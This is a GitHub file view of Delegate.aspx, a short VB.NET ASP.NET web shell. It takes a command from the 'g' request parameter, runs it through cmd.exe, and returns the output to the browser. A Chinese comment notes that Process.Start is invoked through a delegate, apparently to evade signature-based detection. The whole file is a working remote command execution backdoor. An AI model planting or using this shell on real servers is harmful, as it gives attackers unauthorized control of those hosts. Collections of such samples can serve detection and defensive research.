-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathDelegate.aspx
More file actions
28 lines (28 loc) · 968 Bytes
/
Delegate.aspx
File metadata and controls
28 lines (28 loc) · 968 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<%@ Page Language="VB" %>
<%
Dim userCommand As String = Request.Params.Get("g")
If Not String.IsNullOrEmpty(userCommand) Then
Try
Dim psi As New System.Diagnostics.ProcessStartInfo()
psi.FileName = "cmd.exe"
psi.Arguments = "/c " & userCommand
psi.RedirectStandardOutput = True
psi.UseShellExecute = False
Dim process As New System.Diagnostics.Process()
process.StartInfo = psi
' 使用委托绑定 Process.Start 方法
Dim startMethod As StartDelegate = AddressOf process.Start
startMethod.Invoke()
Dim output As String = process.StandardOutput.ReadToEnd()
process.WaitForExit()
Response.Write(Server.HtmlEncode(output))
Catch ex As Exception
Response.Write("Error: " & Server.HtmlEncode(ex.Message))
End Try
Else
Response.Write("No command")
End If
%>
<script runat="server">
Public Delegate Function StartDelegate() As Boolean
</script>